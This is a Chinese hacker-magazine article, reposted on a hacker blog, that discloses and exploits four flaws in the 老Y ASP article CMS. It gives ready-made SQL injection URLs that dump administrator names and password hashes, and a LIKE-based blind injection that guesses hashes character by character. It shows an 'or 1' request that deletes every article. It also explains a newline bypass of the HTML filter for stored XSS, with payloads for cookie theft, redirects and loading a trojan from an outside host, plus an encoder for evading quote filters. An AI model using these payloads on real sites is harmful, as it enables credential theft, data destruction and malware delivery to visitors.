文章作者:Cschii 摘自:黑防
[技术要点]:
1、爆出老Y最新的四个漏洞;
2、利用正则表达式“(\<.+?\>)”中的“.”含义为“匹配除换行符以外的任意字符”,在Html语句的标签中插入“换行符”即可饶过正则表达式的过滤;
3、绕过逗号,另类手工注入。CheckStr()函数过滤了逗号,所以不能使用多参数的函数,比如字符串截取函数mid(),也不能使用union语句,因为union 语句必须保证字段数一致,还不能使用“<”、“>”、“=”等符号,所以使用select的like语句逐位猜解与密码的MD5码相匹配的字符,取值范围:0-9,A-F(不区分大小);
4、给出一段字符串与Unicode字符转换的代码;
[主要内容]:
老Y采用伪静态页面(由/Html/Index.asp调用),代码相当简洁,过滤也非常严密,数字型使用LaoYRequest()、字符型使用CheckStr()等函数进行过滤防止注入,文本内容使用LoseHtml()函数过滤防止跨站;功能比较全面,有新闻固顶、公告、留言、评论、RSS、用户注册、网站风格以及简繁体选择等等,动态页面文件较少。
但是智者千虑必有一疏,本文对老Y做了全面剖析,我们再次感受到安全必须要过滤严密!老Y的CheckStr()函数因为过滤了逗号才躲过致命一劫,但是疏忽了括号,导致我们可以巧妙构造Sql语句达到注入目的。本文涉及到一种另类的手工注入方法,即绕过mid等函数利用了like关键字进行字符猜解,注入漏洞二还会完全摧毁老Y——删除所有文章,使其仅剩“躯壳”——网站框架。又因为老Y的LoseHtml()函数在使用正则表达式时存在缺陷,所以导致我们可以利用插入换行符的方法提交跨站脚本,评论跨站还将影响网站首页!如果提交页面跳转、关闭、死循环等脚本,即可完成DDOS类似攻击,还可以获取管理员Cookie、网页挂马、传播蠕虫等其他跨站攻击。总之这一切均因为老Y函数过滤不足所致!最后提醒大家:使用老Y时务必修改管理员用户表名及后台管理目录。
漏洞一:js.asp页面漏洞。此漏洞由幻泉(bl4ck)发现。由于js.asp页面在处理使用CheckStr()函数过滤后的字符时,将其中的“|”分割符又还原为“,”(即逗号),导致注入。
利用链接:
Code:
http://127.0.0.1/laoy/js.asp?maxlen=50&num=5&ClassNo=1|1|1)%09Union%09Select%091|cstr(id)%2Bchr(58)%2Badmin_name%2Bchr(58)%2Badmin_pass|3|4|5|6|7|8|9%09From%09yao_admin%09Where%09(1
//其中maxlen和num参数不能少
//cstr()函数将数字型字段id的值转为字符串,
//%2B即“+” 用作连接id、admin_name、admin_pass字段
// chr(58)即“:”为分割符
注意:版本2.3和2.4后台认证方式的差异:前者管理员密码使用16位的MD5码,登陆认证使用Session;后者管理员密码使用截取的18位MD5码(adminpwd=Mid(md5(adminpwd,32),4,18)),登陆认证使用Cookie。令人费解的变化:2.3版本虽然Session无法伪造,但是16位的MD5码可以在线或爆破,2.4版本改为截取的18位MD5码后虽然不能破解(除非自己编写爆破工具),但是却可以进行Cookie欺骗!这比破解MD5码更方便。
漏洞二:User/UserAdd.asp页面漏洞。由于在User/UserAdd.asp页面中,edit()、saveedit()模块使用CheckStr()函数过滤数字型变量ID,导致可以手工注入获得管理员密码,del()、delAll()模块未过滤变量ID,导致用户可以任意删除文章。此漏洞需要登陆用户后才能利用。
edit()模块漏洞利用:
修改任意文章。从代码不难看出,如果令id为“168 OR 1”确保Sql语句返回非空集,便会打开id为168的文章编辑界面,而且saveedit()模块同样存在此漏洞,导致我们可以修改任意文章。需要注意的是经过编辑后的文章将变为未审。当然如果仅仅可以修改任意文章的话,此漏洞的利用价值就不是很高,所以让我们继续发掘吧。
注入管理员密码。通过前面介绍,我们知道2.3版本没有过滤逗号,因此构造union语句相对比较容易,而2.4版本过滤了逗号,利用需要一些技巧,所以这里分别进行介绍。
绕过逗号,另类的手工注入。CheckStr()函数过滤了逗号,所以不能使用多参数的函数,比如字符串截取函数mid(),也不能使用union语句,因为union 语句必须保证字段数一致,还不能使用“<”、“>”、“=”等符号,这给我们手工注入提出了挑战。于是考虑到使用select的like语句,基本语法如下:
Code:
Select * from yao_admin where admin_pass like '1*'
Select * from yao_admin where admin_pass like '1?????????????????'
//因为admin_pass长度为18,所以使用“1”和17个“?”进行匹配,如果密码第一个字符为“1”则Select语句有返回,否则无返回。这与IIF函数有异曲同工之效。
因为CheckStr()函数过滤了单、双引号,所以引入子查询,得到衍生语句:
Code:
select top 1 * from yao_admin where admin_pass like (Select chr(49)+chr(42) from yao_admin)
// chr(49)为数字1,chr(42)为字符“*”,chr(63)为字符“?”
修改“*”为一个自己添加的文章ID,比如185,可以先“发表新文章”获得该文章的ID。现给出利用的URL,如下:
Code:
http://127.0.0.1/laoy/User/UserAdd.asp?action=edit&id=(Select%09top%091%09185%09From%09yao_admin%09Where%09admin_pass%09Like%09(Select%09chr(49)%2Bchr(37) %09From%09yao_admin))
//在ACCESS的查询界面中的通配符“*”、“?”如果用在用 ADO 来执行的JET SQL语句中应该为“%”、“_”,chr(37)为字符“%”
这里请注意:在ACCESS的查询界面中的通配符“*”、“?”等,如果用在用 ADO 来执行的JET SQL语句中应该为“%”、“_”等,即ANSI SQL 通配符 “%”和“_” 仅在 Microsoft Jet 4.X 版本和 Microsoft OLE DB Provider for Jet 中才是有效的,如果用在 Microsoft Access 或 DAO 中,那么它们被视为文本。所以在给出利用的URL中,将衍生语句中的chr(42) 即“*” 替换为chr(37)即“%”。
访问URL后,提示“这样搞是不好的!”,如图8,说明admin_pass密码第1位字符不是chr(49)即数字“1”,于是修改为chr(50)~chr(57)、chr(65)~chr(70),即对应数字2~9、字母A~F(like语句不区分大小写),如果正常打开ID为185的文章编辑界面时,如图9,即可确定出admin_pass密码第1位字符,然后依次猜解第2、3……18位上的字符。
del()模块漏洞利用。id变量未作任何过滤,如果令id为“1 or 1”将导致网站中的所有文章将被全部删除!危害应该是十分严重的。
这里请大家注意本文中“or 1”这种用法,不同于我们熟悉的“or 1=1”,因为老Y的CheckStr()函数过滤了“<”、“>”、“=”符号,所以我们利用“数字1和0 可以表示逻辑true和false”的特性,构造Sql语句。
漏洞三、评论跨站。老Y在输出memContent即评论的内容时使用ChkBadWords()、GlHtml()函数过滤了其中的Html标签及单、双引号等,因此不能跨站,但是我们可以利用没有过滤的memAuthor完成跨站目的。在浏览文章的页面的下方,“大名”(即memAuthor)却是单行输入栏且不能修改,我们必须修改提交页面如下,注意将Author输入栏改为textarea元素,允许输入多行(即可以插入换行符),其中form的action值、ArticleID值请根据实际修改,“ ”为换行符。
LoseHtml()函数代码如下:
Code:
Function LoseHtml(ContentStr)
Dim ClsTempLoseStr,regEx
ClsTempLoseStr = Cstr(ContentStr)
Set regEx = New RegExp
regEx.Pattern = "(\<.+?\>)"
regEx.IgnoreCase = True
regEx.Global = True
ClsTempLoseStr = regEx.Replace(ClsTempLoseStr,"")
//此段含义为:替换“<”和“>”及之间的所有字符为空
RegEx.Pattern = "(&.+?;)"
ClsTempLoseStr = RegEx.Replace(ClsTempLoseStr, "")
ClsTempLoseStr = Replace(ClsTempLoseStr,VbCrlf,"")
ClsTempLoseStr = Replace(ClsTempLoseStr,VbCr,"")
ClsTempLoseStr = Replace(ClsTempLoseStr,VbLf,"")
//这三句表示将回车符、换行符替换为空
……(略)//过滤单、双引号、空格等
LoseHtml = ClsTempLoseStr
End function
我们重点看正则表达式“(\<.+?\>)”中的“.”,其含义为“匹配除换行符以外的任意字符”,请注意其中的“除换行符以外”,继续向下看语句“ClsTempLoseStr = Replace(ClsTempLoseStr,VbCrlf,"")”,其中“VbCrlf”表示“回车换行”,所以接下来的三条语句是将回车换行符、回车符、换行符替换为空!于是我们就可以在Html语句的标签中插入“换行符”饶过正则表达式的过滤,接下来的语句又会将“换行符”过滤掉还原为正确的标签。
因为首页显示最新的评论,所以首页同时受到影响,可见这是个非常严重的漏洞,无须登陆便可完成像页面跳转、关闭、获取Cookie、网页挂马、传播蠕虫病毒等跨站攻击,此处给出部分跨站脚本如下:
Code:
//页面跳转
<script>window.location.href("http://www.baidu.com");</script>
//页面关闭
<script>opener=null;window.close();</script>
//获取Cookie
<iframe src=获取Cookie的URL+?escape(document.cookie) width=0 height=0></iframe>
//网页挂马
<script language=javascript src=xxx.js></script>
<script language=JScript.Encode src=http://www.upx.com.cn/muma.txt></script>
//其他跨站脚本
<img src="#" width=0 onerror=alert("XSS")>
<img src=javascript:alert("XSS") width=0>
<img src=javascript:alert(/跨站/) width=0>
<style>@import url(javascript:alert("XSS"));</style>
<style>body {xss:expression(alert("XSS"))}</style>
<div style="xss:expression(alert('XSS'))"></div>
等等,跨站脚本实在灵活,令人防不胜防!漏洞四:文章跨站。User/UserAdd.asp文件中savenew()、saveedit()等模块使用LoseHtml()函数过滤文章标题Title、文章作者Author、核心提示Artdescription(取自Content的前250个字符)等文本,文章内容Content虽然没有做过滤,但是输出时使用FilterJS()函数过滤其中的JS脚本,而且普通用户添加是未审文章,是不会对其他用户产生影响的,所以该漏洞主要作用于管理员,比如获取Cookie、审核文章等。我们可以利用Title、Author、Artdescription等完成跨站,但是为了使影响更广泛,本文利用Title进行跨站。详细方法参考文章。
通过http://127.0.0.1/laoy/inc/laoylrc.asp?u=http://www.baidu.com”可以绕过防盗链限制。
因为LoseHtml()函数过滤了单双引号,必要时会使用String.fromCharCode函数,这需要将字符串转换为Unicode字符,笔者又没有找到现成的工具,所以给出自己编写的完成转换和还原的代码如下:
script language="javascript">
function getCharCode(n){
var str0,str;
if (n==1){
str0=document.getElementById("StrOrChar").value;
str=str0.charCodeAt(0);
var i=0;
for (i=1;i<=str0.length-1;i++) {str=str+","+str0.charCodeAt(i);}
}
else
{str0="&#"+document.getElementById("StrOrChar").value;
var regS = new RegExp(",","gi");
str=str0.replace(regS,";&#");
}
document.getElementById("StrOrChar").innerHTML=str;
}
</script>
<p align="center">Html代码与fromCharCode函数调用的Unicode串转换
<textarea id="StrOrChar" rows="6" cols="100"><iframe src=http://www.hao123.com width=0 height=0></iframe></textarea><br>
<input type="button" name="Submit" value="转 换" onclick="getCharCode(1);">
<input type="button" name="Submit" value="还 原" onclick="getCharCode(2);"><br>
</p>
原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]
本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/laoY-2.4.html